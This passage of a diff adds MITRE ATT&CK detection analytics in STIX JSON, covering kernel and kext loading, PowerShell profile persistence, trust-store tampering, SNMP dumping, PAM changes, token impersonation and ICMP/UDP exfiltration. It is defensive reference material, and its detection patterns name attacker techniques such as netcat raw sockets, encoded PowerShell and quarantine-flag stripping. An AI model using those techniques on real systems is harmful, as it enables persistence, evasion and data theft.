"x_mitre_data_component_ref": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "IAM user, service account, or role creating the instance. Tuned to allowlist known automation services." + }, + { + "field": "GeoLocation", + "description": "Region or source IP where the creation request originates. Helps detect cross-region or unusual location abuse." + }, + { + "field": "RateThreshold", + "description": "Number of instances created per user or account in a time window. Tuned for environments with elastic scaling." + }, + { + "field": "TaggingPolicy", + "description": "Expected tags (e.g., owner, purpose, cost center) for new instances. Deviations may indicate adversarial creation." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c221d379-1dcb-4ca7-908e-59f6ed7afaed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0450#AN1243", + "external_id": "AN1243" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1243", + "description": "Monitor kernel module load/unload activity via modprobe, insmod, rmmod, or direct manipulation of /lib/modules. Correlate with installation of kernel headers, compilation commands, or downloads of .ko files. Detect anomalies in unsigned module loading or repeated module load attempts under non-root users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "Access or modification to /lib/modules or creation of .ko files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "linux:osquery", + "channel": "New or modified kernel object files (.ko) within /lib/modules directory" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Scope detection to non-root or unexpected users performing module-related activity" + }, + { + "field": "TimeWindow", + "description": "Limit alerts to module activity outside approved change windows" + }, + { + "field": "FilePathRegex", + "description": "Adjust regex pattern for directories to monitor depending on kernel version or distro" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--092689c7-be8a-4d11-99d8-7dd96afa938d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0450#AN1244", + "external_id": "AN1244" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1244", + "description": "Detect user-initiated kextload commands or modifications to /Library/Extensions. Correlate with changes to KextPolicy database or unauthorized developer signing identities. Alert on attempts to disable SIP or load legacy extensions from unsigned sources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "kextload execution from Terminal or suspicious paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Processes executing kextload, spctl, or modifying kernel extension directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c", + "name": "macos:osquery", + "channel": "New kext entries not signed by Apple or outside standard identifier prefix" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeveloperIDAllowlist", + "description": "Approved developer IDs whose kexts should not trigger alerts" + }, + { + "field": "KextLoadTimeWindow", + "description": "Threshold for detecting kext loads outside standard install/update operations" + }, + { + "field": "SignatureCheckFlag", + "description": "Flag to enforce strict signing checks depending on SIP status" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--298d1a46-ec12-4cd2-acce-7e0f849c384d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0451#AN1245", + "external_id": "AN1245" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1245", + "description": "Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the `-NoProfile` flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell without -NoProfile flag" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProfilePathList", + "description": "Custom PowerShell host profiles or redirection to alternate profile paths" + }, + { + "field": "ExecutionContext", + "description": "Whether profile execution occurs under elevated user (e.g., Administrator, SYSTEM)" + }, + { + "field": "ModuleOrScriptName", + "description": "Specific modules or external programs loaded within profile" + }, + { + "field": "TimeWindow", + "description": "Correlation time between profile modification and PowerShell process start" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35b0b263-f85d-4e6a-8bcb-5e2c1a9da080", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0452#AN1246", + "external_id": "AN1246" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1246", + "description": "Detection correlates abnormal installation or modification of root or code-signing certificates, creation/modification of suspicious registry keys for trust providers, and unusual module loads from non-standard locations. Identifies unsigned or improperly signed executables bypassing trust prompts, combined with persistence artifacts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedPublisherList", + "description": "Baseline list of approved certificate authorities that should not change frequently" + }, + { + "field": "FilePathAllowList", + "description": "Exclusions for legitimate enterprise-signed binaries stored in unusual directories" + }, + { + "field": "TimeWindow", + "description": "Correlation window for registry + file + process activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--06ec22c9-b32f-49bc-81cc-ed5cee622493", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0452#AN1247", + "external_id": "AN1247" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1247", + "description": "Detection monitors extended attribute manipulation (xattr) to strip quarantine or trust metadata, anomalous installation of root certificates in /etc/ssl or /usr/local/share/ca-certificates, and unauthorized modification of system trust stores. Correlates with unexpected process execution involving package managers or custom certificate utilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CertificatePathList", + "description": "Paths to monitor for changes depending on distro-specific trust locations" + }, + { + "field": "RegexPatterns", + "description": "Regex patterns for suspicious use of xattr or openssl parameters" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--94340be7-068e-446a-bca2-d414b66912fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0452#AN1248", + "external_id": "AN1248" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1248", + "description": "Detection monitors modification of code signing attributes, Gatekeeper/quarantine flags, and insertion of new trust certificates via security add-trusted-cert. Identifies adversary use of xattr to strip quarantine flags from downloaded binaries. Correlates with abnormal module loads bypassing SIP protections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "New certificate trust settings added by unexpected process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar removal commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Unsigned or ad-hoc signed process executions in user contexts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QuarantineBypassAllowList", + "description": "List of enterprise apps where quarantine flag removal is expected" + }, + { + "field": "CertificateAuthorityList", + "description": "Baseline trusted root and intermediate CAs for comparison" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--282d9231-942a-4b97-875c-659aa2c41971", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0453#AN1249", + "external_id": "AN1249" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1249", + "description": "Defenders may observe suspicious SNMP MIB enumeration through abnormal queries for large sets of OIDs, repeated SNMP GETBULK/GETNEXT requests, or queries originating from non-administrative IP addresses. Anomalous use of community strings, authentication failures, or enumeration activity outside maintenance windows may also indicate attempts to dump MIB contents. Correlation across syslog, NetFlow, and SNMP audit data can reveal chains of behavior such as repeated authentication failures followed by successful large-scale OID retrieval.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:syslog", + "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:audit", + "channel": "SNMP configuration changes, such as enabling read/write access or modifying community strings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminIPs", + "description": "Expected IP ranges allowed to query SNMP. Deviation indicates possible misuse." + }, + { + "field": "NormalSNMPQueryRate", + "description": "Baseline frequency and volume of SNMP queries; anomalies above threshold may indicate dumping." + }, + { + "field": "CommunityStringPatterns", + "description": "Expected community strings (e.g., hashed or custom values). Unrecognized strings may signal abuse." + }, + { + "field": "TimeWindow", + "description": "Time periods during which SNMP queries are authorized. Queries outside these hours may be malicious." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9c7e50d-4b13-4634-80f9-e8032a043414", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0454#AN1250", + "external_id": "AN1250" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1250", + "description": "Detects unauthorized modifications to PAM configuration files or shared object modules. Correlates file modification events under /etc/pam.d/ or /lib/security/ with unusual authentication activity such as multiple simultaneous logins, off-hours logins, or logons without corresponding physical/VPN access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "NSM:Connections", + "channel": "simultaneous or anomalous logon sessions across multiple systems" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "List of PAM configuration and module directories monitored (e.g., /etc/pam.d/, /lib/security/)." + }, + { + "field": "TimeWindow", + "description": "Timeframe for correlating suspicious file modifications with anomalous login events." + }, + { + "field": "BaselineAccounts", + "description": "Expected login frequency and systems per user account; deviations may indicate compromise." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04cd1c76-d01d-482c-83e2-4bb5109e9764", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0454#AN1251", + "external_id": "AN1251" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1251", + "description": "Detects suspicious changes to macOS authorization and PAM plugin files. Correlates file modifications under /etc/pam.d/ or /Library/Security/SecurityAgentPlugins with unexpected authentication attempts or anomalous account usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "authentication plugin load or modification events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPlugins", + "description": "Expected set of PAM and authorization plugins; unknown additions may indicate malicious insertion." + }, + { + "field": "CorrelatedSources", + "description": "Cross-correlation with VPN/physical access logs to identify impossible or anomalous login patterns." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--78864416-9ea3-4285-aab4-ecf31c935253", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0455#AN1252", + "external_id": "AN1252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1252", + "description": "Detects behavioral chains where PowerShell is launched with encoded commands, unusual parent processes, or suspicious modules loaded, potentially followed by network connections or child process spawning. Supports detection of both direct (powershell.exe) and indirect (.NET automation) invocations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=400,403" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Regex pattern for encoded, obfuscated, or hidden PowerShell arguments (e.g., '-enc', '-nop')." + }, + { + "field": "ParentProcessName", + "description": "Filter based on abnormal parents like Excel, WinWord, or mshta spawning PowerShell." + }, + { + "field": "TimeWindow", + "description": "Scope detection to off-hours, lateral movement timeframes, or non-maintenance windows." + }, + { + "field": "LoadedModuleList", + "description": "Tuneable to monitor rare or never-before-seen .NET assemblies tied to PowerShell abuse." + }, + { + "field": "ScriptBlockLengthThreshold", + "description": "Adjustable threshold for length of script blocks logged by Event ID 4104 (useful for filtering noise)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0929e9c5-2e1a-4cc1-a9c5-df081b180201", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0456#AN1253", + "external_id": "AN1253" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1253", + "description": "A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a **new** process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API \u2192 (2) privileged handle or token duplication/open \u2192 (3) new child process running as another user / higher integrity \u2192 (4) optional follow\u2011on privileged/lateral actions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "ETW:ProcThread", + "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:DirectoryService", + "channel": "EventCode=5136" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between API/handle access and the spawned process (default 5\u201310 minutes)." + }, + { + "field": "AllowedImpersonators", + "description": "Service accounts/binaries legitimately using CreateProcessWithTokenW (e.g., PsExec service, SCCM, backup agents)." + }, + { + "field": "IntegrityEscalationDelta", + "description": "Minimum jump in integrity level (e.g., Medium\u2192System) to flag." + }, + { + "field": "ParentChildUserMismatch", + "description": "Treat any parent/child SID or LogonId mismatch as suspicious unless on allow-list." + }, + { + "field": "SensitiveTargets", + "description": "List of processes (e.g., lsass.exe, winlogon.exe, services.exe) whose token access prior to the spawn raises score." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4412fb07-9a44-49de-80af-8746b0be3865", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1254", + "external_id": "AN1254" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1254", + "description": "Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessContextAllowList", + "description": "Processes normally allowed to use ICMP/UDP (e.g., ping.exe, DNS resolver)." + }, + { + "field": "ByteTransferAnomalyThreshold", + "description": "Suspicion if client sends much more data than it receives (e.g., >90%)." + }, + { + "field": "ProtocolUsageBaseline", + "description": "Baseline which protocols are normal per host or segment (ICMP, UDP, etc.)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d0a3871-8cee-47bd-8829-637e132c98f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1255", + "external_id": "AN1255" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1255", + "description": "ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using `ping`, `hping3`, or crafted packets via libpcap or scapy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "sendto/connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "icmp.log, weird.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RawSocketExecutionPath", + "description": "Uncommon programs using raw sockets (e.g., netcat, Python, nmap)." + }, + { + "field": "TimeWindow", + "description": "Tunable window for correlating execution with network events (e.g., 2m)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4742e058-a301-47e1-b594-8daa8eabfc79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1256", + "external_id": "AN1256" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1256", + "description": "Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "com.apple.network" + }, + { + "x_mitre_data_component_ref": 